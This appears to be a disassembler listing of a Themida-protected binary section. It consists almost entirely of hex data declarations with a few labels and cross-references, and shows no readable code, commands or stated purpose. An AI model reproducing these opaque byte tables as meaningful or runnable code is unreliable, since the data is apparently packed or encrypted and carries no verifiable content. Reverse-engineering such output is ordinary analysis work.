		dd 0C08B0614h, 477849EBh, 0E19FEA71h, 0F8092D86h, 0B347CAA5h
		dd 0BEB36144h, 0E09FA3F2h, 33A64BD1h, 0FC20CE27h, 0F04D2C5h
		dd 87B761E0h, 9B3E5B3Fh, 0C189B2B4h, 0D93419DBh, 14536AE2h
		dd 70B97194h, 0AAAE259Eh, 995B00EFh, 3A8D9A66h,	0E88BDA07h
		dd 6, 1BA31EFh,	0A8B2D7ACh, 81EFB05Fh, 5FE3C7h,	6880F00h
		dd 31000000h, 1434CD85h, 0E8F63306h, 12h, 0C1C8B022h, 576DCDE4h
		dd 7DC1D3C6h, 6FD55D29h, 860F2294h, 6, 0CBCCCB81h, 0FF5847D2h
		dd 9573E34h, 140965BDh,	1595B06h, 1403699Dh, 0A2C18106h
		dd 8B26C68Fh, 14348D85h, 0C8C18106h, 8137D917h,	0E352C3F1h
		dd 9E96Ah, 4B080000h, 0ADD0410Fh, 512D1695h, 48FC38Bh
		dd 0CE937h, 0B49F0000h,	0AA1E2C6h, 0CEDF62F5h, 10E8E488h
		db 3 dup(0)
byte_5B7877	db 6Fh			; DATA XREF: Themida_:0054B1C0o
		dd 3701C72Ah, 0F3048656h, 461D7B48h, 0E9ECBACAh, 8, 0BE7E8C66h
		dd 1B13C697h, 1EE835Ah,	4EDF8B66h, 81FC4E4Eh, 0FFA0F0FEh
		dd 78850FFFh, 0FFFFFFFh, 68Fh, 9D858B00h, 0E8061419h, 5
		dd 7811B8D6h, 8212BB2Bh, 8B5E4E64h, 14022DBDh, 0B0C68106h
		dd 6000005Ah, 25E19589h, 8B0F0614h, 3, 61DE8B66h, 168568h
		dd 0E19D2300h, 5806140Eh, 0A880Fh, 56600000h, 99958959h
		dd 6106141Bh, 0F9600E8Bh, 78A3B966h, 7AE98161h,	897DEAA9h
		dd 1416ED95h, 81E98106h, 0F3FBEE6h, 287h, 8173B200h, 0D4A2BEE9h
		dd 21958B59h, 8906140Bh, 0C195290Eh, 81061429h,	0C0195AEEh
		dd 1D958921h, 81061426h, 0C01956C6h, 55958B21h,	48061400h
		dd 0FFAA850Fh, 880FFFFFh, 0
		dd 5E8h, 29C7C200h, 0BF663D67h,	0FC5894FCh, 6195C081h
		dd 958B0000h, 614257Dh,	0B9h, 0BE900h, 0CF380000h, 3186FD1Ah
		dd 89CE0EB3h, 134FF15h,	5BF08B66h, 6E9h, 0B0EA2800h, 8182A580h
		dd 0FA504DC3h, 13E932h,	0CF560000h, 0F80DA368h,	961FA69h
		dd 0DED75744h, 0D37257B9h, 0B4EB81CDh, 0F23D2B4h, 0F381D7B7h
		dd 4C2E93Ch, 1C895A53h,	0E9BEFC08h, 830923D2h, 958B02E9h
		dd 614210Dh, 81664949h,	819A4CEAh, 0FF9EFCF9h, 9A850FFFh
		dd 66FFFFFFh, 0AC42FB8Bh, 2406A234h, 7D7AA27Ch,	318F3BB3h
		dd 2A218024h, 259083B4h, 25C46F30h, 98A78630h, 23068A11h
		dd 5A8D8930h, 0A6848630h, 31560F8Dh, 0A12E8636h, 25908642h
		dd 3F1103F6h, 4D6A8024h, 0A9279C97h, 0C22DB2B1h, 0DAA0F1FDh
		dd 314EA785h, 0FEA40B36h, 0DA9691B0h, 0E3B80DE0h, 313EDFB5h
		dd 8C7AC836h, 0A48E53D4h, 166DA204h, 90BDA9A7h,	233592B9h
		dd 0A54B03BDh, 0F5B78027h, 359D7EBBh, 0CC128630h, 25098638h
		dd 2B018996h, 6C428630h, 0A02E4F3Bh, 0DA6F79C0h, 25488BD9h
		dd 5CB90B30h, 9D14927Dh, 25098635h, 980965CFh, 23586827h
		dd 0CBF40BBDh, 3728802Ah, 0ECEB615h, 0AC4247FFh, 2406A234h
		dd 7D7AA27Ch, 318F3BB3h, 2A218024h, 259083B4h, 25C46F30h
		dd 98A78630h, 0F305E983h, 22B9A4h, 1CE90000h, 26000000h
		dd 3BAAF0h, 5 dup(0)
		dd 0E9000000h, 8D9h, 0C416A933h, 7FD1ECE7h, 398B30A2h
		dd 0EE40795Ch, 0A5F7C611h, 73644C6Ch, 0B61BF84Ah, 4D4B103h
		dd 4A8C69BBh, 8B131F71h, 0CD69F85h, 51B8B358h, 34894A17h
		dd 0E7DEC105h, 716551F1h, 0A810498Bh, 4F9C9B04h, 348C3883h
		dd 6E4A9Ch, 310850h, 0C1D7E1B3h, 363C4271h, 57E5AD9Bh
		dd 2835E109h, 0DFBC0EAFh, 8F4714F7h, 0ACC0A62Ch, 0ACD45806h
		dd 9A46795Fh, 0F1FEAA42h, 0C68ED6E5h, 1A7FCBEFh, 75FB61FFh
		dd 5806258Fh, 0AA0FC6A3h, 0DF0EA6FEh, 0E39F0375h, 6655814Eh
		dd 11AA2C37h, 0B3E481BFh, 0A37AF8D9h, 0C0DC4E0Dh, 902BABFEh
		dd 6463C9F8h, 7A000000h, 8F43C512h, 0B35F5A77h,	7F2BC35Bh
		dd 0A2A86572h, 51F1E7BCh, 6410A8D0h, 94407B57h,	0C16D5087h
		dd 0E6CB87ABh, 7FB2D034h, 6A9926B2h, 0F345785Fh, 0EDEDB0B5h
		dd 294EFEh, 17650000h, 1308D4Ah, 30DCE1F6h, 0F1E807EAh
		dd 0D1719551h, 874CBC1Bh, 7C828A36h, 51F1E796h,	52EA82AAh
		dd 2D2200h, 12790000h, 0E8B0F8C5h, 0F1E7FCE2h, 0B9E81051h
		dd 0E825094Fh, 0A38751F1h, 338A4DE7h, 0ED3209E1h, 8B0B7E75h
		dd 4FFBE1E7h, 0E70F51F2h, 1339204Fh, 0E4B1F9A5h, 0C51DC9F2h
		dd 0B38A9096h, 0A957E539h, 19E5CBD1h, 0D1F95806h, 0C16D4E84h
		dd 1825D169h, 0E2B901BAh, 0D361F880h, 0A21BB864h, 0D7069EF6h
		dd 0D3E8EAC7h, 1AD1B27h, 2329F1B9h, 5806E33Dh, 6B207CAh
		dd 91C0E8AEh, 0FA08624Dh, 2026EE5Dh, 5E1B083Ah,	73F7264Eh
		dd 0A84A9F4Bh, 488A57EAh, 0F8A419BEh, 0CED908A0h, 0A08CF804h
		dd 9DCBBE65h, 7ED68239h, 1FFC4EE6h, 165C08B3h, 5E1B9220h
		dd 4AE2A0C4h, 0D3627488h, 1404B483h, 17712A7Ch,	9B81874Fh
		dd 0AF51F1E7h, 0E81B0187h, 572F51F1h, 0F1E86B51h, 0BF577F51h
		dd 6D1D8690h, 897F5825h, 6FC7734Ah, 0B3C1A8D7h,	0F7C412CAh
		dd 0B1540DCEh, 1EDE5C4h, 575Ah,	4A177100h, 2A822E8Bh, 1AC6F5DDh
		dd 208993C2h, 0E5B304B3h, 0DA221D8Eh, 0F2C2EED4h, 42DA0251h
		dd 0E3401719h, 54298471h, 3E444A79h, 51F1FB58h,	171B446Ch
		dd 8C4A176Eh, 0FC2B832Fh, 0B1DAE1F1h, 0DFC14017h, 7AEDA9A2h
		dd 55AC120Ch, 12412CAFh, 53115E05h, 68000000h, 0B4FCAA13h
		dd 381E24ECh, 4C51F1E8h, 0E7B89E24h, 0F4CC51F1h, 0F1E808EEh
		dd 5CF41C51h, 1117462Dh, 51F1E82Bh, 17C5EE54h, 91C7840h
		dd 0AFDE2AC2h, 401700A9h, 0C9E14800h, 1D285739h, 0F1BE06B5h
		dd 0D22AD6E5h, 4A10BCA3h, 0E7967C82h, 82AA51F1h, 0C4126C53h
		dd 6C434BF7h, 0A3B24FD1h, 8CD0FFFBh, 51F56D38h,	0F0492038h
		dd 71DF9157h, 0A489AC9h, 85D7E4F2h, 0E28E2FA8h,	73BB02D5h
		dd 0E38F2CA6h, 80F25C8Bh, 0FECB7E1Ch, 0ACB7E6D3h, 240922Bh
		dd 0FEE96263h, 439Bh, 0C5CB9300h, 51F682DFh, 0B59CCBF3h
		dd 4BF7C412h, 0E52DD13Fh, 3687501Dh, 0BF03328Ah, 57E500DCh
		dd 0AD7AC2EAh, 444A9229h, 5806015Eh, 0B11B4A72h, 0E28E2FA4h
		dd 0EBA01D5h, 5554F6DAh, 0E51F3B9Fh, 0BF78CAF1h, 4BF7C412h
		dd 0E52DD13Fh, 0EA40C018h, 14FA7BB6h, 1E7622BAh, 0AB605D1h
		dd 0B57D83B2h, 6B720EDh, 967C025Ah, 0AA51F2B2h,	140F5382h
		dd 4257E5E2h, 19F0C81Ah, 98FEEE23h, 0F8DB2808h,	4B8B96C5h
		dd 0B6512870h, 480E7348h, 0BF056F9Eh, 0DA1808BAh, 629AB81Ch
		dd 18F54774h, 4551FDBEh, 0D9DF27D7h, 0E26C0BB2h, 0F6CE2048h
		dd 0C42282Eh, 2E56E28Dh, 0AA1318FFh, 0CAB3D3FCh, 0AFF7C412h
		dd 38617FD8h, 0B0FD0DA5h, 81689728h, 63494F17h,	7751F1E8h
		dd 3810204Fh, 2655686Bh, 0E5C4B13Fh, 515A01EDh,	52000000h
		dd 19B94D85h, 69EF6A2h,	0BEAB025Ah, 8F5F9FDDh, 134F3665h
		dd 0E7B4FCAAh, 0FFBC1AEAh, 0B763FB53h, 1749305Fh, 0F1E82B11h
		dd 1583F51h, 3650E233h,	0F987AF31h, 20F480A2h, 6E175F88h
		dd 454BC012h, 51F1E85Fh, 8AB34B73h, 20116910h, 68000000h
		dd 0D3FCAA13h, 0E82B1117h, 0EE5451F1h, 126E17C5h, 10D2FBC0h
		dd 967C824Ah, 0AA51F1E7h, 126C5382h, 0D8AFF7C4h, 0A9C419E3h
		dd 60CAF99Eh, 10C39058h, 23A901ADh, 51F2363Dh, 8D737951h
		dd 0A151F235h, 3E94E179h, 4A79D17Dh, 0F5B6B206h, 0C4EB251h
		dd 60A630FDh, 459D4972h, 63737EADh, 0F58D30A3h,	0F711C6A3h
		dd 19461FE1h, 4C31B49Fh, 2B805DB4h, 78DAE861h, 0B02734E0h
		dd 8BEF610Dh, 1BA235CFh, 0D8DA8BC9h, 3824FEE9h,	3B000000h
		dd 4147C412h, 51F1E85Bh, 3AF476Fh, 1A2689F7h, 7B95F7E0h
		dd 252B730Bh, 57E56B6Ah, 0B108C996h, 0FA7EAD05h, 4CB026D2h
		dd 0DBE0F60Eh, 0C9DAB189h, 8756AAEAh, 125C4372h, 0B72138C4h
		dd 0B61BFC2h, 4DBBC773h, 458C59A1h, 393F4574h, 57E5F1E6h
		dd 0A42FFCD4h, 0D2AD9319h, 99C15806h, 0F6C61542h, 10A8FA08h
		dd 0AA1305BEh, 0CAB3D3FCh, 9542C412h, 8C247C28h, 0B1540D63h
		dd 1EDE5C4h, 405Ah, 0AA137100h,	4F17D3FCh, 0B0B65382h
		dd 51F1E7CAh, 0EF1EB6DEh, 0F1E7C5ABh, 88B1D951h, 0C0126E17h
		dd 6910D2FBh, 63494F17h, 7751F1E8h, 4114204Fh, 4C000000h
		dd 0E7987E84h, 0CFAC51F1h, 0F120B803h, 8E4A170Ah, 0FE2D8531h
		dd 0B2DB8BF4h, 50824F17h, 12F83C6Bh, 3B51F1E8h,	6E17ACD5h
		dd 0B3FBC012h, 7B41EEBh, 0F1E79B81h, 5887AF51h,	7D4A1071h
		dd 4C336259h, 4BF7C412h, 8F757B43h, 0A351F1E7h,	472D337Bh
		dd 5B51F1E8h, 6CC00433h, 6C51F568h, 24B24A08h, 0C7784F97h
		dd 0BFC12010h, 0C5A2B2E1h, 0F2FEAA11h, 0CC94DC84h, 0B6E5D8FFh
		dd 0E953A372h, 0FF517957h, 0FCAA1346h, 29C4DDB4h, 9EC0A6ACh
		dd 0ACD451F2h, 0A3B3DD55h, 0F279B79Dh, 0BA3CB51h, 4A17F5DCh
		dd 9B053489h, 0F7C412B2h, 0B1540DCEh, 1EDE5C4h,	495Ah
		dd 0AA137100h, 1117D3FCh, 51F1E82Bh, 17EE173Fh,	433884Ah
		dd 4A1755FEh, 2A822E8Bh, 98C7F6DDh, 1CB7458Dh, 0F8DEE4BBh
		dd 0C51F20Bh, 81278DE4h, 10F821B9h, 67567D4Ah, 952AAEBBh
		dd 0ACF991E9h, 80679627h, 3511h, 0AA136800h, 832F8A47h
		dd 176A932Bh, 22F34140h, 0D201A0E1h, 66E0C6CCh,	0A57251F2h
		dd 0D6E38F2Eh, 0BA12BEFBh, 1E84F322h, 126E17F5h, 10D2FBC0h
		dd 65547D4Ah, 0C4124F36h, 0F5E2AFF7h, 0E141CC8h, 51F1E828h
		dd 4D7C143Ch, 68499DE3h, 0E54951F5h, 74478FA5h,	2A914522h
		dd 5C04727Eh, 821B0E14h, 6C4957E9h, 4FA7536Ch, 79986FB7h
		dd 7AEDBA95h, 8154A08Eh, 0A139266Fh, 13A96272h,	0B3D3FCAAh
		dd 0F7C412CAh, 0B1540DCEh, 1EDE5C4h, 615Ah, 4A177100h
		dd 76832F8Ch, 7AC75F5Ch, 5CB4605Dh, 0CBA232Dh, 0FE4017E3h
		dd 7544914Eh, 0F9B6191Eh, 0F2310DF3h, 61F92151h, 40262C32h
		dd 5451F231h, 161CE42Ch, 51F23130h, 0F5A118BDh,	80AFD79Dh
		dd 176E1799h, 0E12E8B4Ah, 0C31BC7F6h, 72498994h, 734A1049h
		dd 5CDF850Eh, 0CEB5E4CDh, 2611h, 0AA136800h, 4017D3FCh
		dd 0CC327F51h, 0F4055C89h, 0B5540DF0h, 11171D4Ch, 51F21C2Bh
		dd 17C5EE54h, 0FBC0126Eh, 126910D2h, 3F4BF7C4h,	0DFE52DD1h
		dd 57E50A40h, 339F6C34h, 0FE84DC88h, 58060A18h,	9BEA4AAh
		dd 0AAD25806h, 6E74BCE4h, 58060A88h, 0C145749Ch, 0FD6B4799h
		dd 21030951h, 2D5DFF1Ah, 89515905h, 20F99D83h, 3C89B15Eh
		dd 0ECF72697h, 0A27FD1EAh, 723F8734h, 0A1AE5A5Fh, 0BEED8534h
		dd 22B0E54h, 0E5497B71h, 11C794A5h, 7BAA02AEh, 3556670h
		dd 775D632Bh
		dd 8B9BD102h, 0AD293463h, 8055620Eh, 51808D39h,	0C2DD67A9h
		dd 5BF37257h, 8C31A2AFh, 44066AE0h, 0B9C9AFB5h,	0B5DD9BD1h
		dd 0A4E6881Dh, 23754690h, 7F2B9046h, 1671h, 0DBE1A900h
		dd 9BD1B9F5h, 0CBB2E109h, 2FA4017h, 0F06DD08Bh,	122188C1h
		dd 3C49F5CAh, 6875219Ah, 96A34F70h, 0C5D27E3Bh,	0F2FFAB12h
		dd 1F2CD8E5h, 4A5703B6h, 7A873388h, 33B86459h, 7D4868h
		dd 24048900h, 66BB68h, 242C8900h, 62568h, 243C8900h, 403ABF57h
		dd 0CF812273h, 4E3910BFh, 7537EF81h, 0F7812110h, 4B7034A9h
		dd 89FA8952h, 685F5AD5h, 1181h,	83242489h, 5F042404h, 4EC81h
		dd 2C890000h, 8478F24h,	5F2434FFh, 4C481h, 34FF0000h, 0C4835D24h
		dd 862DE904h, 64ACFFF9h, 0B9962B5Ch, 0F78DB8DFh, 0C503061Ah
		dd 1B68E0FFh, 79081725h, 6E3F5C23h, 49214C8h, 70DF5ED4h
		dd 0C8BE604Eh, 0B5061033h, 58E0C24h, 9AB969FEh,	7E83CC1h
		dd 0C000000h, 0D13083D8h, 840F147Bh, 3,	5EDA8B66h, 0C681F48Ah
		dd 6988h, 0A1CF8166h, 6865h, 0B2580000h, 3034FF8Fh, 10E959h
		dd 5C6B0000h, 0A15C3A20h, 0EB79223Ch, 0E96E9B88h, 0C181D992h
		dd 349964F9h, 81C8CE80h, 0AC1A9EE9h, 0CCC18165h, 0BB75DE9Fh
		dd 52D81587h, 66060C89h, 8311DBBFh, 8B6602E8h, 664848F8h
		dd 0F881D88Bh, 0FFFF96ECh, 0FFAF850Fh, 8DFCFFFFh, 1AF96F8Dh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 0FDFFEB1h, 0D78AF0BFh, 32298D89h, 6A0614h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 0D1A9B6C3h, 881B38D2h, 4D85C72Bh, 0CC061406h, 8B00005Bh
		dd 140CC585h, 7185C706h, 61426h, 89000000h, 141A899Dh
		dd 0E2DF8006h, 2E1B5FFh, 8D890614h, 6142591h, 236195FFh
		dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 8FBB1BC3h, 0A921556Eh, 0FBA6E5Ah,	0F8Fh
		dd 0AE900h, 0FE030000h,	96070639h, 3EC9B1BDh, 6AF8BF0Fh
		dd 6995FF00h
		db 11h,	14h
word_5B854E	dw 8B06h		; DATA XREF: Themida_:0054B170o
		dd 0CD1DEBC0h, 660A08EDh, 70F80EB5h, 3F4D3947h,	0EB906041h
		dd 0E761B0F1h, 2F7D1792h, 91BEF017h, 0FA648D8Dh, 10E8061Ah
		dd 9E000000h, 0D4BD8B9Eh, 0EA7F2113h, 0E8ECEB3Dh, 0E8B25229h
		dd 5, 36599269h, 10E934h, 0FE310000h, 2BB3BC5Fh, 8786EB1Fh
		dd 53D9F7C4h, 5858F2CDh, 28A0Fh, 0F38B0000h, 32298D89h
		dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 0E68748C3h, 0C77DB31Eh, 14064D85h, 584C06h
		dd 459D2B00h, 0C7061409h, 14267185h, 6,	55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
		dd 978032E3h, 0E59D31A8h, 0FF061412h, 1406A5B5h, 6195FF06h
		dd 0E9061423h, 10h, 30D942F0h, 1F863357h, 2999945Ch, 0B60D4991h
		dd 95FF006Ah, 6141169h,	1EEBC08Bh, 0FC030318h, 0AA54B0DEh
		dd 0FBF9E3CDh, 1F62B562h, 0BA9D0498h, 0E8FD9CE5h, 0A05E0AD0h
		dd 0EE838FEh, 0D6000000h, 5AC12607h, 0CA240A96h, 7E1F9820h
		dd 9589526Fh, 6140361h,	0B5895B58h, 61408C1h, 5C87C381h
		dd 0B5890000h, 6142CF9h, 0BD31D22Bh, 61424BDh, 8B133C8Bh
		dd 14223585h, 28EF8106h, 8B46C3ACh, 142AD98Dh, 42F78106h
		dd 0F4B0FF3h, 0F781C6B7h, 4A555EE1h, 8B57F38Bh,	13048FC2h
		dd 23D99D89h, 0B58B0614h, 614210Dh, 2FDEA81h, 850947D4h
		dd 6142069h, 2F9C281h, 0C88147D4h, 45D84A09h, 0A420FA81h
		dd 850FFFFFh, 10h, 16A1B52Bh, 13E90614h, 1F000000h, 0C295F1B6h
		dd 0C14CB966h, 0FFFF8BE9h, 0E6E27DFFh, 8D8DCE43h, 61AFC01h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 79C35343h
		dd 8900F8BEh, 1432298Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 4D85C793h, 10061406h
		dd 6600005Ah, 0C73FA2B8h, 14267185h, 6,	0E5858900h, 8906140Eh
		dd 1402A1B5h, 19B5FF06h, 6A061423h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0FF75C356h
		dd 14236195h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 31C62586h, 0D7C4E7F3h, 0C4B8A665h
		dd 8153307Bh, 192983D2h, 0FF006A55h, 14116995h,	0EBC08B06h
		dd 94D1931Eh, 1EBEA73Ch, 45E33995h, 0AFE1862Dh,	0FA93A978h
		dd 0D2AE1D93h, 0B5030ABFh, 8DBA95F9h, 1AFCCF8Dh, 0EC91B806h
		dd 9D290BFFh, 614263Dh,	32298D89h, 6A0614h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 8B1C6FC3h
		dd 1400E585h, 4D85C706h, 94061406h, 2B00005Fh, 142C81B5h
		dd 7185C706h, 61426h, 0FF000000h, 140591B5h, 29BD8906h
		dd 0FF061430h, 14236195h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 5E013A5h, 77C081E4h
		dd 0EE9AF34h, 35000000h, 0BDFADD15h, 6008138Dh,	26F7CBD1h
		dd 158D8971h, 6A061403h, 6995FF00h, 8B061411h, 577FEBC0h
		dd 60457C61h, 14710974h, 0C3C4E3C2h, 8A3F5D5h, 33935010h
		dd 1A1EFD62h, 0CA0B6CA6h, 8BDCD24Dh, 7E8E85ABh,	4FF69C48h
		dd 95A243DAh, 3B3EFBB5h, 0C41C5753h, 0CB5AF4EAh, 0BC706786h
		dd 94D2B5D2h, 5E47EFE7h, 58D10F5Bh, 3113E4DFh, 37DFE116h
		dd 0DEF79354h, 6D50AA59h, 85E439BCh, 2D40B921h,	7BFDC153h
		dd 0B12F0h, 14A51A67h, 0E194C4D6h, 4EF7836Dh, 0F6D50A81h
		dd 0DC4BF756h, 5E81332h, 76000000h, 0CDBDBA05h,	958959FCh
		dd 6141039h, 6A69C181h,	858B0000h, 6140F49h, 1A5DBEh, 0DDBD8B00h
		dd 0FF061422h, 0C2B70F31h, 67BF665Bh, 25F3816Bh, 0E9350CD2h
		dd 0Fh,	0F31D56ACh, 0F6363B73h,	31C0EB71h, 81037725h, 9ABA32EBh
		dd 69C88159h, 814549A9h, 3D6DE2F3h, 6DBD8B00h, 89061406h
		dd 148E0F19h, 0E9000000h, 0Fh, 8AD3014Bh, 346D98EEh, 0B7243DCDh
		dd 8182D050h, 26E543E9h, 0CE85Fh, 198C0000h, 0DB3B86C7h
		dd 601D4FBh, 0AE9DC1Fh,	0FF000000h, 0F0854D4Fh,	0B9C752BCh
		dd 0C1815AFEh, 5F26E53Fh, 0FE9h, 7B2BAF00h, 0D7CB71D6h
		dd 743C5372h, 0F6FC5B75h, 1F850F4Eh, 0E8000000h, 5, 847CEA7Ch
		dd 6D8589B3h, 5F061410h, 1FE9h,	68B5F000h, 0E82D3F89h
		dd 958B80E0h, 6140355h,	0FFFF36E9h, 8DD8FFh, 8546AE49h
		dd 0B04D103Bh, 0FEE58D8Dh, 0AE9061Ah, 68000000h, 59B5E3A9h
		dd 8DB81257h, 1DDF8160h, 894376FDh, 1432298Dh, 60525606h
		dd 0C75E5B61h, 14064D85h, 6D6006h, 0FDB52900h, 0C7061408h
		dd 14267185h, 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 2E896999h, 0FF6F9157h
		dd 140C4DB5h, 0F18B6606h, 236195FFh, 880F0614h,	15h, 0F830Fh
		dd 0AE90000h, 9D000000h, 5670E121h, 0C7691FB9h,	0FF006A56h
		dd 14116995h, 0EBC08B06h, 827AD94Ah, 0B8281FF2h, 0E443C463h
		dd 8D67F9F7h, 0FF6E19C5h, 0E7555CAEh, 37E01506h, 0A1F6E66Fh
		dd 2A91B856h, 0FFF91F09h, 65361803h, 9932B29Fh,	9916B9EFh
		dd 0B3996E4Bh, 9CE40A56h, 787401B2h, 0E55DB9B4h, 0DA9C4C65h
		dd 8DBC7D12h, 1AFFCE8Dh, 0DD958906h, 0F9061400h, 32298D89h
		dd 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 0BEEC01C3h, 3880ED75h, 34DD8531h,	85C70614h
		dd 614064Dh, 6DE4h, 73F78166h, 7185C767h, 61426h, 8B000000h
		dd 14039D85h, 0DB5FF06h, 0F061422h, 284h, 0FFD18A00h, 14236195h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 6143EF03h, 6688D670h, 6AD88Bh, 116995FFh
		dd 0C08B0614h, 63F07EEBh, 3205BEFCh, 684EAC02h,	42957138h
		dd 5510F34Ch, 0F0807573h, 0CF2EF1E1h, 0F9D04D30h, 4813CDDAh
		dd 69D12E9Bh, 253EDDB1h, 3912DE8Eh, 2B7DFB62h, 0D20F0671h
		dd 467C0C16h, 4C561D4Bh, 0D2B84127h, 301120D9h,	23B1979Fh
		dd 15B4C4F6h, 11291986h, 0D3994E9Fh, 7AABAA42h,	3211B28Ch
		dd 0A1645F36h, 21C370B4h, 4ECC70Fh, 3A747BF1h, 1D92E5B8h
		dd 0FF1F5F97h, 38574F29h, 3B5112A6h, 15FE9h, 0D48B5200h
		dd 0E860h, 815D0000h, 1B005FEDh, 8428B06h, 2638453Dh, 38850F78h
		dd 8B000001h, 4A8B0C42h, 0BBC8D318h, 8841BF62h,	0E883C333h
		dd 29858904h, 8B061432h, 0F88B0458h, 8B10428Bh,	0C8D3184Ah
		dd 5137EBEh, 2BC6339Ch,	0FCE083C7h, 8904E883h, 14064D85h
		dd 14428B06h, 26718589h, 428B0614h, 0B0E95318h,	0FF000000h
		dd 140591B5h, 0B9E906h,	0B5FF0000h, 61414ADh, 0AEE9h, 1B5FF00h
		dd 0E9061416h, 0A3h, 2E91B5FFh,	98E90614h, 0FF000000h
		dd 1406A5B5h, 8DE906h, 0B5FF0000h, 61402E1h, 82E9h, 4DB5FF00h
		dd 0E906140Ch, 77h, 1071B5FFh, 6CE90614h, 0FF000000h, 140D49B5h
		dd 61E906h, 0B5FF0000h,	6142319h, 56E9h, 99B5FF00h, 0E9061430h
		dd 4Bh,	669B5FFh, 40E90614h, 0FF000000h, 14220DB5h, 35E906h
		dd 0B5FF0000h, 61400D5h, 2AE9h,	95B5FF00h, 0E906142Ch
		dd 1Fh,	2111B5FFh, 14E90614h, 8B000000h
		dd 0BB8D8h, 0F7660000h,	0C08D8DE3h, 3061B00h, 0FFE1FFC8h
		dd 14236195h, 858B5B06h, 6143229h, 0F045839h, 0F85h, 16A5300h
		dd 116995FFh, 0E95B0614h, 0FFFFFFE2h, 61C35A61h, 0C96AB85Ah
		dd 0E0FF77D4h, 1509858Bh, 8D8D0614h, 61B01AEh, 8B014189h
		dd 5985C6C3h, 5606141Ah, 0C530DF68h, 0D1B5FFA9h, 8D06141Ah
		dd 1780DB85h, 8DD0FF06h, 1400958Dh, 406A5106h, 0BDDB5FFh
		dd 0B5FF0614h, 6142B21h, 0B5FFD0FFh, 6140BDDh, 2B21B5FFh
		dd 0CE80614h, 0D0000000h, 0B3176883h, 96F40694h, 5A82B07Ch
		dd 4EA835Ah, 2242CC1h, 22424C1h, 0F7241403h, 0B9241Ch
		dd 0FF000000h, 815E1134h, 1CEBA4F6h, 0EDEE816Fh, 812CD348h
		dd 3B9979EEh, 48F564Ah,	4E9830Ah, 0F240C3Bh, 0FFFFDA85h
		dd 359D8DFFh, 8B061411h, 0FC00B03h, 784h, 8B038B00h, 1889045Bh
		dd 7E8C98Bh, 73000000h,	4DAB9388h, 10E9DEA9h, 6B000000h
		dd 9194F4CCh, 0E4F8928Eh, 0BD03D24Ah, 58562A1Ch, 0B890Fh
		dd 80600000h, 8A0F18CEh, 0
aAbBc		db 'a│юBc',0
		dw 0F00h
		dd 58Fh, 0EF816600h, 0B9220Dh, 60000000h, 8A0F51h, 5B000000h
		dd 61CFB70Fh, 0E808348Bh, 14h, 0DED8818Ch, 0FC246434h
		dd 92E480E9h, 5096A0C6h, 0D1AA9039h, 5E9h, 2514A200h, 815BA97Ch
		dd 0D770F6h, 21B4601Eh,	3170EBB8h, 0F681616Fh, 6C97A029h
		dd 8AEE81F5h, 8A7A259Eh, 83489D0h, 1923BB66h, 0E9819BB7h
		dd 7D2D1240h, 81DEB70Fh, 2D123CC1h, 0DA81527Dh,	84DEA50h
		dd 0B8F9815Fh, 0FFFFF9Dh, 0E85h, 0E9D78B00h, 35h, 9646F189h
		dd 0E98995AEh, 13h, 6FBA1F74h, 0F6E41423h, 5C350607h, 8970DA4Ah
		dd 0E93BDA17h, 0FFFFFF64h, 2D39E78Eh, 352D7A32h, 27AC71B1h
		dd 0EB8FFEE1h, 0E4E956h, 0F0F40000h, 9CD73E21h,	0C8C3CA45h
		dd 0ABDAB6E1h, 0B395A7ACh, 0A1F44592h, 0DA00B395h, 20A7ECABh
		dd 6BB2915Dh, 2096B1F4h, 9B552075h, 0BCF26BB7h,	0A19692A5h
		dd 603A7594h, 329FB799h, 0E9B599BDh, 92A59CB2h,	95ACA3F2h
		dd 97B1EF76h
		db 0
byte_5B8F9D	db 4Eh,	0F9h, 0B4h	; DATA XREF: Themida_:0054BCC0o
		dd 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h
		dd 0F144D6D9h, 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh
		dd 0F996BFCFh, 20B293BCh, 9B57207Dh, 9492ABF7h,	0E3B29EBDh
		dd 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h
		dd 97B3ED72h, 0F1B6D000h, 0F0A8CD43h, 0
		dd 9D744700h, 99E0E312h, 5Eh, 0Ah dup(0)
		dd 0ADE90000h, 68000014h, 61B0661h, 0F979BAE9h,	77668FFh
		dd 0B0E9061Bh, 68FFF979h, 61B085Ah, 0F979A6E9h,	9A268FFh
		dd 9CE9061Bh, 68FFF979h, 61B0A1Eh, 0F97992E9h, 0AD968FFh
		dd 88E9061Bh, 68FFF979h, 61B0B7Ah, 0F9797EE9h, 0C1168FFh
		dd 74E9061Bh, 68FFF979h, 61B0CBEh, 0F9796AE9h, 0DF768FFh
		dd 60E9061Bh, 68FFF979h, 61B0EF2h, 0F97956E9h, 102D68FFh
		dd 4CE9061Bh, 68FFF979h, 61B10F8h, 0F97942E9h, 124568FFh
		dd 38E9061Bh, 68FFF979h, 61B138Dh, 0F9792EE9h, 155F68FFh
		dd 24E9061Bh, 68FFF979h, 61B1684h, 0F9791AE9h, 0FBC418FFh
		dd 0B607CCA9h, 704B8764h, 2594411Eh, 0DCE1F6D3h, 4967518Ah
